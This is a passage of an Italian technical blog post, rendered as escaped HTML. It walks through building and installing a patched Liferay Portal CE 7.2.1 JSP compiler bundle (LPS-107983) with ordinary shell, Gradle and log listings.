ottiene la Hot Fix.&lt;/p&gt;&lt;p&gt;Per non farci mancare nulla, direi di scegliere la terza strada, che poi è
quella più interessante.&lt;/p&gt;&lt;h2 id=&quot;1-come-applicare-la-patch&quot;&gt;1. Come applicare la patch&lt;/h2&gt;&lt;p&gt;Vediamo come sia possibile e semplice applicare la patch a Liferay Portal CE.
La versione di riferimento è Liferay Portale CE 7.2.1 GA2.&lt;/p&gt;&lt;p&gt;Come possiamo applicare la nostra Hot Fix anche sulla CE? La risposta
è davvero semplice: &lt;a href=&quot;https://portal.liferay.dev/docs/7-1/tutorials/-/knowledge_base/t/overriding-lpkg-files&quot;&gt;Overriding lpkg files&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Il bundle a cui dobbiamo applicare la &lt;a href=&quot;https://patch-diff.githubusercontent.com/raw/brianchandotcom/liferay-portal/pull/84189.patch&quot;&gt;patch&lt;/a&gt; 84189 è &lt;strong&gt;Liferay Portal OSGi Web Servlet JSP Compiler&lt;/strong&gt; (&lt;a href=&quot;https://repo1.maven.org/maven2/com/liferay/com.liferay.portal.osgi.web.servlet.jsp.compiler/4.0.14/&quot;&gt;com.liferay.portal.osgi.web.servlet.jsp.compiler&lt;/a&gt;) che fa parte dell’LPKG Liferay CE Static - Impl.lpkg. In questo caso possiamo quindi applicare l’&lt;strong&gt;Overriding lpkg files&lt;/strong&gt;, anche a quelli &lt;strong&gt;Static&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;La procedura da seguire è:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Creare il bundle in formato jar contenente la patch;&lt;/li&gt;&lt;li&gt;Il nome del bundle deve essere uguale all&amp;#x27;originale, meno le informazioni sulla versione;&lt;/li&gt;&lt;li&gt;Copiare il file .jar del bundle nella cartella &lt;code&gt;$LIFERAY_HOME/osgi/static&lt;/code&gt;;&lt;/li&gt;&lt;li&gt;Rimuovere del contenuto della directory &lt;code&gt;$LIFERAY_HOME/osgi/state&lt;/code&gt;;&lt;/li&gt;&lt;li&gt;Avviare Liferay Portal. Notare che ogni volta che si aggiungono e rimuovono
.jars in questo modo, è necessario chiudere e riavviare Liferay Portal per
rendere effettive le modifiche.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Se è necessario ripristinare le personalizzazioni, eliminare i file .jar di
sostituzione: Liferay Portal utilizzerà il file .jar originale al successivo
avvio.&lt;/p&gt;&lt;p&gt;Sembra tutto molto chiaro!&lt;/p&gt;&lt;p&gt;Come facciamo a creare il nuovo bundle che conterrà la patch dell’LPS-107983?
Lo vedremo nel prossimo capitolo.&lt;/p&gt;&lt;h2 id=&quot;2-come-creare-il-bundle-con-la-patch&quot;&gt;2. Come creare il bundle con la patch&lt;/h2&gt;&lt;p&gt;Per creare il nuovo bundle sono necessari i sorgenti e per ottenerli esistono
essenzialmente due modi che sono:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Clone dei sorgenti di Liferay Portal 7.2.1 GA1 dal repository &lt;a href=&quot;https://github.com/liferay/liferay-portal&quot;&gt;GitHub&lt;/a&gt;;&lt;/li&gt;&lt;li&gt;Ottenere i sorgenti dal repository Maven &lt;a href=&quot;https://repo1.maven.org/maven2/com/liferay/com.liferay.portal.osgi.web.servlet.jsp.compiler/4.0.14/&quot;&gt;com.liferay.portal.osgi.web.servlet.jsp.compiler&lt;/a&gt; versione 4.0.14.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;La scelta della prima strada potrebbe richiedere parecchio tempo per via del
clone del repository che anche se eseguito con l’opzione &lt;code&gt;--depth 1&lt;/code&gt; richiede del tempo.&lt;/p&gt;&lt;p&gt;Personalmente ho scelto la seconda strada, che in pochi minuti ci consentirà di
ottenere il bundle con la patch. A seguire tutti gli step necessari (e non serve
nessun IDE). Ecco l&amp;#x27;elenco dei macro task:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Creazione di un Liferay Workspace via blade;&lt;/li&gt;&lt;li&gt;Creazione della struttura di directory per il modulo &lt;code&gt;portal-osgi-web-servlet-jsp-compiler&lt;/code&gt;;&lt;/li&gt;&lt;li&gt;Copiare dei sorgenti dal bundle jar scaricato dal repository Maven all’interno del modulo su Liferay Workspace;&lt;/li&gt;&lt;li&gt;Scaricare il bnd.bnd dal repository GitHub di Liferay e posizionarlo sulla root del modulo;&lt;/li&gt;&lt;li&gt;Scaricare il build.gradle dal repository GitHub di Liferay e posizionarlo sulla root del modulo;&lt;/li&gt;&lt;li&gt;Modificare il build.gradle per aggiungere FileUtil (com.liferay.gradle.util.FileUtil);&lt;/li&gt;&lt;li&gt;Applicare la patch 84189;&lt;/li&gt;&lt;li&gt;Eseguire la build del modulo;&lt;/li&gt;&lt;li&gt;Accertarsi che il portale sia spento;&lt;/li&gt;&lt;li&gt;Installare il modulo in &lt;code&gt;$LIFERAY_HOME/osgi/static&lt;/code&gt;;&lt;/li&gt;&lt;li&gt;Avviare il portale.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Il set di comandi mostrati a seguire realizzano i punti da 1 a 5. Se volete
risparmiare anche questo tempo, allora potete attingere direttamente al
repository che ho predisposto ad
hoc &lt;a href=&quot;https://github.com/smclab/apply-lps-107983-openjdk-11-0-6&quot;&gt;https://github.com/smclab/apply-lps-107983-openjdk-11-0-6&lt;/a&gt;&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;1&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ mkdir ~/apply-lps-107983-openjdk-11-0-6&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; ~/apply-lps-107983-openjdk-11-0-6&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ blade init -v 7.2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ mkdir modules/apps/static/portal-osgi-web/portal-osgi-web-servlet-jsp-compiler&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ mkdir -p src/main/java&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ mkdir -p src/main/resources&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; src/main/java&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ curl https://repo1.maven.org/maven2/com/liferay/com.liferay.portal.osgi.web.servlet.jsp.compiler/4.0.14/com.liferay.portal.osgi.web.servlet.jsp.compiler-4.0.14-sources.jar | jar xv&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ rm -rf META-INF/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ mv javax ../resources&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ curl -L -O https://github.com/liferay/liferay-portal/raw/7.2.1-ga2/modules/apps/static/portal-osgi-web/portal-osgi-web-servlet-jsp-compiler/bnd.bnd&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ curl -L -O build.gradle https://github.com/liferay/liferay-portal/raw/7.2.1-ga2/modules/apps/static/portal-osgi-web/portal-osgi-web-servlet-jsp-compiler/build.gradle&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 2 - Step necessari per prepare il bundle con la patch&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Il punto 6 richiede la modifica del file build.gradle, questo è necessario
affinché non otteniate l’errore mostrato a seguire.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;2&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;Could not compile build file &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;/Users/antoniomusarra/Progetti/MyProjects/Liferay/sources/apply-lps-107983-openjdk-11-0-6/modules/apps/static/portal-osgi-web/portal-osgi-web-servlet-jsp-compiler/build.gradle&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;gt; startup failed:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  build file &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;/Users/antoniomusarra/Progetti/MyProjects/Liferay/sources/apply-lps-107983-openjdk-11-0-6/modules/apps/static/portal-osgi-web/portal-osgi-web-servlet-jsp-compiler/build.gradle&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: 1: unable to resolve class com.liferay.gradle.util.FileUtil&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;   @ line 1, column 1.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;     import com.liferay.gradle.util.FileUtil&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;     ^&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 3 - Errore di compilazione prima della modifica del build.gradle&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Per evitare l’errore occorre aggiungere sul file build.gradle il contenuto
mostrato a seguire.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;gradle&quot; data-index=&quot;3&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;buildscript {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;   dependencies {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      classpath group: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;com.liferay&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, name: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;com.liferay.gradle.util&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, version: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;1.0.36&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;   }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;   repositories {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      maven {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;         url &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;https://repository-cdn.liferay.com/nexus/content/groups/public&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;   }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Listato 1 - Modifica del build.gradle per aggiungere la dipendenza richiesta&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;A questo punto siamo nelle condizioni di poter applicare la patch nel seguente
modo.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;4&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; ~/apply-lps-107983-openjdk-11-0-6&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ curl -O https://patch-diff.githubusercontent.com/raw/brianchandotcom/liferay-portal/pull/84189.patch&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ git apply --verbose 84189.patch&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 4 - Applicazione della patch ai sorgenti Liferay del bundle affetto dal bug&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Se tutto va come deve, dovreste vedere un output simile a quello mostrato
nella figura seguente.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/68910343e7cab37710b9fa8206c4f7c2/eec88/applicazione-patch-bundle-liferay.jpg&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:15.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;62\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2062\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2031v31h401V0h-3l-4%202v7l-2-3-1-5-3-1c-3%200-3%200-2%201%202%202%201%203-1%203s-3-1-3-2l-1-2-2%202-1%202V2l-1-2-1%202-1%203V2c0-2-1-2-3-2s-2%200-1%201c3%202%202%203-1%203s-4-1-4-2c0-2-2-3-4%200v1c2%200%201%202-1%202-3%200-3%200-3-3V0l-1%202c-1%203-6%204-7%202h-1l-1%201-1-2c1-1%200-2-1-2h-1v4a375%20375%200%2000-29%202h-1c0-3-32-3-32-1s-3%203-4%203c-1-1%201-3%202-2l1-1-8-1c-9%200-12-1-10-4%201-1-3-1-22-1-22%200-23%200-23%202l-2%202-2-1h-7c0-1%201-2%204-2l-24-1h-28v2c1%203%203%203-80%203-45%200-48%200-48%202h2c1%200%200%202-2%202l-1-2c0-2-1-2-8-2l-5%201h-1L9%205C2%205%202%204%201%202L0%2031m0%201c0%2017%200%2030%201%2029l80-1c79%200%2080-1%2080-2%200-2-1-3-73-3a1026%201026%200%2001-69-3h-7c-3%200-2%202%202%202%201%201-2%201-6%201H1v-4c0-4%200-4%202-3h4c1-2%201-2-1-2-4%201-5%200-5-4v-4h8c-1-1-1-2-6-2l-2-1%203-1%205-1c1-2%200-2-3-2l-5%201v-5l1-5v-1l-1-1%204-1%203-1h2c0-2-1-2-4-2-4%201-5%200-5-1s1-2%202-1l2-1c0-2-1-2-2-2-1%201-2%200-2-1s0-2%201-1h4c2-1%202-1%201-2H5C3%208%201%206%201%203%200%202%200%2014%200%2032m291%2023c-26%200-29%201-27%204l27%201c22%200%2026%200%2025-1v-3c2-1%201-2-25-1m49%201c-1%203%201%204%2011%204%2011%200%2011%200%2011-2l1-3h-11l-12%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/68910343e7cab37710b9fa8206c4f7c2/c85cb/applicazione-patch-bundle-liferay.webp 300w,/static/68910343e7cab37710b9fa8206c4f7c2/e88ff/applicazione-patch-bundle-liferay.webp 600w,/static/68910343e7cab37710b9fa8206c4f7c2/92f8c/applicazione-patch-bundle-liferay.webp 1200w,/static/68910343e7cab37710b9fa8206c4f7c2/62ed8/applicazione-patch-bundle-liferay.webp 1800w,/static/68910343e7cab37710b9fa8206c4f7c2/46261/applicazione-patch-bundle-liferay.webp 2400w,/static/68910343e7cab37710b9fa8206c4f7c2/d3d72/applicazione-patch-bundle-liferay.webp 2880w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/68910343e7cab37710b9fa8206c4f7c2/f93b5/applicazione-patch-bundle-liferay.jpg 300w,/static/68910343e7cab37710b9fa8206c4f7c2/b4294/applicazione-patch-bundle-liferay.jpg 600w,/static/68910343e7cab37710b9fa8206c4f7c2/e5166/applicazione-patch-bundle-liferay.jpg 1200w,/static/68910343e7cab37710b9fa8206c4f7c2/d9c39/applicazione-patch-bundle-liferay.jpg 1800w,/static/68910343e7cab37710b9fa8206c4f7c2/df51d/applicazione-patch-bundle-liferay.jpg 2400w,/static/68910343e7cab37710b9fa8206c4f7c2/eec88/applicazione-patch-bundle-liferay.jpg 2880w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/jpeg&quot;/&gt;
        &lt;img alt=&quot;Figura 1 - Applicazione patch ai sorgenti Liferay del bundle affetto dal bug&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/68910343e7cab37710b9fa8206c4f7c2/e5166/applicazione-patch-bundle-liferay.jpg&quot; title=&quot;Figura 1 - Applicazione patch ai sorgenti Liferay del bundle affetto dal bug&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 1 - Applicazione patch ai sorgenti Liferay del bundle affetto dal bug&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Una volta applicate possiamo procedere con la build del bundle utilizzando il
classico comando build&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;5&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ ./gradlew build&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 5 - Build del bundle&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;A portale spento, copiamo il nuovo bundle (senza la versione) all’interno
della directory &lt;code&gt;$LIFERAY_HOME/osgi/static/&lt;/code&gt;&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;6&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ cp modules/apps/static/portal-osgi-web/portal-osgi-web-servlet-jsp-compiler/build/libs/com.liferay.portal.osgi.web.servlet.jsp.compiler-4.0.14.jar /Users/antoniomusarra/dev/liferay/liferay-ce-portal-7.2.1-ga2-wildfly-16/osgi/static/com.liferay.portal.osgi.web.servlet.jsp.compiler.jar&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 6 - Copia del bundle con la patch in $LIFERAY_HOME/osgi/static/&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;A questo punto, dopo aver eliminato il contenuto della directory
&lt;code&gt;$LIFERAY_HOME/osgi/state&lt;/code&gt;, avviamo il portale. Fate attenzione ai log di Liferay
perchè dovreste vedere le seguenti righe di log che indicano l’avvenuta
installazione del nuovo bundle che va in override all’esistente.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;&quot; data-index=&quot;7&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;2020-03-24 22:17:48.836 INFO  [ServerService Thread Pool -- 73][ModuleFrameworkImpl:1468] Starting initial bundles&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;2020-03-24 22:17:49.234 INFO  [ServerService Thread Pool -- 73][ModuleFrameworkImpl:952] /Users/antoniomusarra/dev/liferay/liferay-ce-portal-7.2.1-ga2-wildfly-16/osgi/marketplace/Liferay CE Static - Impl.lpkg:com.liferay.portal.osgi.web.servlet.jsp.compiler-4.0.13.jar is overridden by /Users/antoniomusarra/dev/liferay/liferay-ce-portal-7.2.1-ga2-wildfly-16/osgi/static/com.liferay.portal.osgi.web.servlet.jsp.compiler.jar&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Log 1 - Log di start-up di Liferay con evidenza dell&amp;#x27;operazione di override del bundle&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Appena il portale è in piedi, eseguite il deploy di una qualunque portlet MVC e
verificate di non ottenere più errori di compilazione sulle JSP. Le figure a
seguire mostrano la home page del portale Liferay prima e dopo l’installazione
del bundle con la patch.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/f941fd5633ba96c1281892e3e9f90c4f/f5df4/portlet-in-errore-prima-della-patch.jpg&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:19.333333333333332%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;78\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2078\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;/%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/f941fd5633ba96c1281892e3e9f90c4f/c85cb/portlet-in-errore-prima-della-patch.webp 300w,/static/f941fd5633ba96c1281892e3e9f90c4f/e88ff/portlet-in-errore-prima-della-patch.webp 600w,/static/f941fd5633ba96c1281892e3e9f90c4f/92f8c/portlet-in-errore-prima-della-patch.webp 1200w,/static/f941fd5633ba96c1281892e3e9f90c4f/62ed8/portlet-in-errore-prima-della-patch.webp 1800w,/static/f941fd5633ba96c1281892e3e9f90c4f/acf52/portlet-in-errore-prima-della-patch.webp 2286w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/f941fd5633ba96c1281892e3e9f90c4f/f93b5/portlet-in-errore-prima-della-patch.jpg 300w,/static/f941fd5633ba96c1281892e3e9f90c4f/b4294/portlet-in-errore-prima-della-patch.jpg 600w,/static/f941fd5633ba96c1281892e3e9f90c4f/e5166/portlet-in-errore-prima-della-patch.jpg 1200w,/static/f941fd5633ba96c1281892e3e9f90c4f/d9c39/portlet-in-errore-prima-della-patch.jpg 1800w,/static/f941fd5633ba96c1281892e3e9f90c4f/f5df4/portlet-in-errore-prima-della-patch.jpg 2286w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/jpeg&quot;/&gt;
        &lt;img alt=&quot;Figura 2 - Portlet in errore prima senza la patch&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/f941fd5633ba96c1281892e3e9f90c4f/e5166/portlet-in-errore-prima-della-patch.jpg&quot; title=&quot;Figura 2 - Portlet in errore prima senza la patch&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 2 - Portlet in errore prima senza la patch&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/13a39a38cfd12a8f2495a5bad8c7e621/1176d/portlet-in-esecuzione-dopo-applicazione-patch.jpg&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:17%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;68\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2068\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M152%2033c0%202%202%204%202%201h1c2%202%2033%203%2033%201h1c1%202%205%201%205-1s-18-2-19-1h-1c0-2-1-2-4-2-8%202-13%202-13%201l-2-1c-2%200-3%201-3%202\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
